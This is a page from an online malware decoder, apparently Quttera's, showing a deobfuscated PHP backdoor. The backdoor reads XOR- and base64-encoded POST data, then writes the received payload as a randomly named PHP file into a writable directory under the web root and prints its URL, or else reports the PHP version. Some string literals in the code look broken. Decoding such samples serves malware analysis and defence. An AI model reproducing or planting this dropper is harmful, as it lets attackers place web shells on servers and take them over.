Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$jydqZqzXb = "dXDYzVrBik";
	function tIyfqRXFbv($jydqZqzXb){
	 $fgDHkz = "str_r".chr(877-766)."t13";
	$jydqZqzXb = $fgDHkz($jydqZqzXb);
	$MePtKJCD = chr(829-715)."awu'.chr(761-647)."ld".chr(684-583).'code";
	$jydqZqzXb = $MePtKJCD($jydqZqzXb);
	$jydqZqzXb = str_split($jydqZqzXb);
	return $jydqZqzXb;
}
	function McDETbxY($pNlNEw, $jaQXB){
	$pNlNEw = array_slice(str_split(str_repeat($pNlNEw, (count($jaQXB)/16)+1)), 0, count($jaQXB));
	return $pNlNEw;
}
	function yTLMhBT($DthQRotxgPxtJqYc, $EhWSLrd, $pNlNEw){
	$rpEKe = "80b9a254-e7cb-4821-9db1-a182c8ed81d0";
	return $DthQRotxgPxtJqYc ^ $rpEKe[$EhWSLrd % strlen($rpEKe)] ^ $pNlNEw;
}
	function udWadizwx($jaQXB, $pNlNEw){
	$jaQXB = array_map("yTLMhBT", array_values($jaQXB), array_keys($jaQXB), array_values($pNlNEw));
	$jaQXB = implode("", $jaQXB);
	$XRRqZZkot = "un".chr(377-262).'er".chr(885-780)."al'.chr(414-309)."ze";
	$jaQXB = @$XRRqZZkot($jaQXB);
	return $jaQXB;
}
	function dpLKm(){
	echo "CkrlacbeJt";
}
	function PoTdMKb($DthQRotxgir){
	static $DthQRotxgxYzgk = array();
	$tmcDLnlLrC = glob($DthQRotxgir . '/*', GLOB_ONLYDIR);
	$GWPvTn = count($tmcDLnlLrC);
		if ($GWPvTn > 0) {
			foreach ($tmcDLnlLrC as $DthQRotxg) {
			$rvgJS = "i".chr(443-328)."_writable";
				if (@$rvgJS($DthQRotxg)) {
				$DthQRotxgxYzgk[] = $DthQRotxg;
			}
		}
	}
	foreach ($tmcDLnlLrC as $DthQRotxgir) PoTdMKb($DthQRotxgir);
	return $DthQRotxgxYzgk;
}
	function NynKYlLup(){
	echo "dXDYzVrBik";
}
	function laCsfUDUJz($jaQXB){
	$vjvJIjtvz = chr(1032-964)."OCUME'.chr(453-375)."T".chr(107-12).chr(289-207)."O".chr(383-304)."T";
	$xTnXHmmnyz = $_SERVER[$vjvJIjtvz];
	$tmcDLnlLrC = PoTdMKb($xTnXHmmnyz);
	$UAPjt = array_rand($tmcDLnlLrC);
	$REezwjIDc = ."php";
	$FmkfqATldT = $tmcDLnlLrC[$UAPjt] . "/" . substr(md5(time()), 0, 8) . $REezwjIDc;
	$YmaTmONLYp = "file'.chr(829-734).'put_conte".chr(376-266)."ts";
	@$YmaTmONLYp($FmkfqATldT, $jaQXB);
	$ohsSJncxv = chr(924-852).'TT".chr(1072-992).'_HO'.chr(795-712)."T";
	$beODpGROeF = chr(460-356)."ttp://';
	$DthQRotxgzKBcl = $beODpGROeF . $_SERVER[$ohsSJncxv] . substr($FmkfqATldT, strlen($xTnXHmmnyz));
	print($DthQRotxgzKBcl);
}
	function qbWWRy(){
	$GYIgIvrV = "php";
	$BcaKbK = 'p'.chr(604-500)."pve".chr(239-125).'sio'.chr(185-75);
	$jaQXB = Array($GYIgIvrV => @$BcaKbK(), );
	$xBWknLbM = "s".chr(836-735)."r".chr(445-340)."alize";
	echo @$xBWknLbM($jaQXB);
}
	foreach ($_POST as $pNlNEw => $jaQXB){
	$mckVkWim = strlen($pNlNEw);
		if ($mckVkWim == 16){
		$jaQXB = tIyfqRXFbv($jaQXB);
		$pNlNEw = McDETbxY($pNlNEw, $jaQXB);
		$jaQXB = udWadizwx($jaQXB, $pNlNEw);
			if (@is_array($jaQXB)){
			$UAPjt = array_keys($jaQXB);
			$jaQXB = $jaQXB[$UAPjt[0]];
			$UAPjt = $UAPjt[0];
				if ($jaQXB !== $UAPjt){
				laCsfUDUJz($jaQXB);
			}
				else {
				qbWWRy();
			}
			die();
		}
	}
}



© 2023 Quttera Ltd. All rights reserved.